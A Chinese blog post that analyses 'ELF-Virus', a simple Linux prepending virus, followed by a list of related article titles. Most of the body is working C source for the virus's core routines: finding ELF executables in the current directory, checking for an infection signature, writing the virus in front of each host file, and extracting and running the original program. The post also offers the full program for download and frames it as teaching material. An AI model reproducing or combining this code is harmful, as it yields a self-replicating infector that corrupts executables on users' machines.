系统功能概述

ELF-Virus实现了一个简单的病毒程序,能够感染当前目录下的ELF格式的可执行文件。病毒程序通过将自身代码附加到目标文件中,并在文件末尾添加一个特定的签名来标记文件已被感染。感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。

系统架构

病毒程序:

病毒程序本身是一个ELF格式的可执行文件,它通过检查当前目录下的其他ELF文件,选择未被感染的文件进行感染。

感染机制:

病毒程序通过将自身代码附加到目标文件的末尾,并在文件末尾添加一个特定的签名(SIGNATURE)来标记文件已被感染。

执行机制:

感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。

主要核心技术点

ELF文件识别:

病毒程序通过读取文件的前4个字节来判断文件是否为ELF格式。ELF文件的前4个字节为0x7f, 'E', 'L', 'F'。

  bool isELF(char* fileName) {
if(fileName[0] == '.') return false;
int hfd = open(fileName, O_RDONLY);
char header[4];
read(hfd, header, 4);
close(hfd);
return header[0] == 0x7f
&& header[1] == 'E'
&& header[2] == 'L'
&& header[3] == 'F';
}

感染检测:

病毒程序通过检查文件末尾的签名来判断文件是否已被感染。

   bool isClean(char* fileName) {
int signature;
int fd = open(fileName, O_RDONLY);
lseek(fd, -1 * sizeof(signature), SEEK_END);
read(fd, &signature, sizeof(signature));
close(fd);
return signature != SIGNATURE;
}

文件感染:

病毒程序通过创建一个临时文件,将病毒代码、原始文件内容和签名依次写入临时文件,然后将临时文件重命名为原始文件名,完成感染过程。

   void infectHostFile(char* hostFileName, int vfd) {
int hfd = open(hostFileName, O_RDONLY);
struct stat st;
fstat(hfd, &st);
int hostSize = st.st_size;
int signature = SIGNATURE;
int tfd = creat(TEMP_FILENAME, st.st_mode);
sendfile(tfd, vfd, NULL, SIZE);
sendfile(tfd, hfd, NULL, hostSize);
write(tfd, &signature, sizeof(signature));
rename(TEMP_FILENAME, hostFileName);
close(tfd);
close(hfd);
}

执行原始程序:

感染后的文件在执行时,会先执行病毒代码,然后再执行原始的程序代码。

void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
int tfd = creat(TEMP_FILENAME, mode);
lseek(vfd, SIZE, SEEK_SET);
int signatureSize = sizeof(SIGNATURE);
int hostSize = totalSize - SIZE - signatureSize;
sendfile(tfd, vfd, NULL, hostSize);
close(tfd);
pid_t pid = fork();
if(pid == 0) {
execv(TEMP_FILENAME, argv);
}
else{
waitpid(pid, NULL, 0);
unlink(TEMP_FILENAME);
}
}

应用场景

ELF-Virus主要用于研究和理解病毒程序的基本工作原理,以及如何通过代码实现文件的感染和执行。它可以用于教学目的,帮助学习者理解恶意软件的基本工作机制。

系统总结

ELF-Virus程序通过简单的文件操作和ELF文件格式的识别,实现了对目标文件的感染。感染后的文件在执行时会先执行病毒代码,然后再执行原始的程序代码。该程序展示了病毒程序的基本工作原理,具有一定的教育意义,但同时也提醒我们注意计算机安全,防止恶意软件的传播和感染。

需要ELF-Virus分析的朋友可以在公众号回复"ELF-Virus"进行下载

ELF-Virus简易病毒程序分析的更多相关文章

  1. Mac App 破解之路八 病毒程序分析

    本人使用MacBooster 7 扫出了几个未知程序. JMJ56 这个程序. 在finder中打开发现是一个shell脚本 调用了python 9NKb0 就是python脚本使用.    只不过是 ...

  2. 鸿蒙内核源码分析(ELF格式篇) | 应用程序入口并不是main | 百篇博客分析OpenHarmony源码 | v51.04

    百篇博客系列篇.本篇为: v51.xx 鸿蒙内核源码分析(ELF格式篇) | 应用程序入口并不是main | 51.c.h.o 加载运行相关篇为: v51.xx 鸿蒙内核源码分析(ELF格式篇) | ...

  3. Virus:病毒查杀

    简介 小伙伴们,大家好,今天分享一次Linux系统杀毒的经历,还有个人的一些总结,希望对大家有用. 这次遇到的是一个挖矿的病毒,在挖一种叫门罗币(XMR)的数字货币,行情走势请看 https://ww ...

  4. Linux程序分析工具:ldd和nm

    ldd和nm是Linux下两个非常实用的程序分析工具.其中,ldd是用来分析程序运行时需要依赖的动态链接库的工具,nm是用来查看指定程序中的符号表信息的工具. 1 ldd 格式:ldd [option ...

  5. Android版本的"Wannacry"文件加密病毒样本分析(附带锁机)

    一.前言 之前一个Wannacry病毒样本在PC端肆意了很久,就是RSA加密文件,勒索钱财.不给钱就删除.但是现在移动设备如此之多,就有一些不法分子想把这个病毒扩散到移动设备了,这几天一个哥们给了一个 ...

  6. Watchbog挖矿病毒程序排查过程

    第1章 情况 1)服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示: 2)并且无论如何都杀不掉,用kill杀掉后,其还是会隔一会 ...

  7. [转] 一个U盘病毒简单分析

    (转自:一个U盘病毒简单分析 - 瑞星网   原文日期:2014.03.25) U盘这个移动存储设备由于体积小.容量大.便于携带等优点,给人们的存储数据带来了很大的便利.但正是由于这种便利,也给病毒有 ...

  8. 一个DDOS病毒的分析(一)

    一.基本信息 样本名称:Rub.EXE 样本大小:21504 字节 病毒名称:Trojan.Win32.Rootkit.hv 加壳情况:UPX(3.07) 样本MD5:035C1ADA4BACE78D ...

  9. House_Of_Spirit ctf oreo程序分析

    oreo程序下载 提取码:t4xx 程序分析 int __cdecl main() { leave_add = 0; leave_del = 0; leave_buf = (char *)&u ...

  10. C语言之简易了解程序环境

    C语言之简易了解程序环境 大纲: 程序的翻译环境 预编译 编译 汇编 链接 程序的运行环境 在ANSI C的任何一种实现中,存在两个不同的环境. 第1种是翻译环境,在这个环境中源代码被转换为可执行的机 ...

随机推荐

  1. 按部就班--从零开始建设k8s监控(二)

    前言 书接上文,prometheus已经安装好了,并且能够对k8s的整体状态进行监控,但是我们还需要更多 环境准备 组件 版本 操作系统 Ubuntu 22.04.4 LTS docker 24.0. ...

  2. 【解决问题记录】https网站中请求http资源接口报错与netERRSSLPROTOCOLERROR错误的解决

    在线上的CRM网站中,对接OBS做了一个专门的公共服务,公共服务使用的http协议,在页面中调用接口时出现错误:The page at 'xxx' was loaded over HTTPS, but ...

  3. CDS标准视图:维护策略数据 I_MaintenanceStrategyData

    视图名称:维护策略数据 I_MaintenanceStrategyData 视图类型:基础视图 视图代码: 点击查看代码 @AbapCatalog.sqlViewName: 'IMAINTSTRATD ...

  4. 第一个shell脚本(bash脚本)

    首先它是一个脚本,并不能作为正式的编程语言.因为是跑在linux的shell中,所以叫shell脚本.说白了,shell脚本就是一些命令的集合.运维工作中把常用的一系列的操作都记录到一个文档中,然后去 ...

  5. VAE模型简析和精要(原理和代码)

    1. 前言 这篇博客主要用于记录VAE的原理部分. 一方面便于日后自己的温故学习,另一方面也便于大家的学习和交流. 如有不对之处,欢迎评论区指出错误,你我共同进步学习! 图均引用自4部分的博客!!!! ...

  6. 深入理解 Future, CompletableFuture, ListenableFuture,回调机制

    深入理解 Future, CompletableFuture, ListenableFuture,回调机制 本文禁止转载. 本文从设计思想.具体实现等角度分析了 Future.CompletableF ...

  7. [国家集训队] happiness 题解

    发现可以做如下建图: 对于前两组输入,从 \(s\) 向所有代表学生的点连一条边,容量为其学习文科的喜悦值:从所有代表学生的点向 \(t\) 连一条边,容量为其学习理科的最大值. 对于后四组输入,建两 ...

  8. FANUCR2000iB发那科机器人保养有哪些

      1.机器人保养的重要性   机器人都需要预防性保养,这样可以保证它们在生产线上保持最佳性能和实现一致性.当机器人没有进行定期的预防性保养检查,可能会导致零部件损坏或故障,从而致使生产放慢甚至停机. ...

  9. js 字符串“http%3A%2F%2F”转换成http://详解

    字符串"http%3A%2F%2F"转换成http://详解 我截获下来一个URL的字符串格式是"http%3A%2F%2F",但是实际应该是http:// 而 ...

  10. Python中requests库的安装

    这篇博客指导读者如何通过管理员权限的CMD命令行,进入Python主目录并使用pip安装requests库.在PyCharm中,如果IDE未检测到requests,用户需要在此安装,或者考虑更新Pyt ...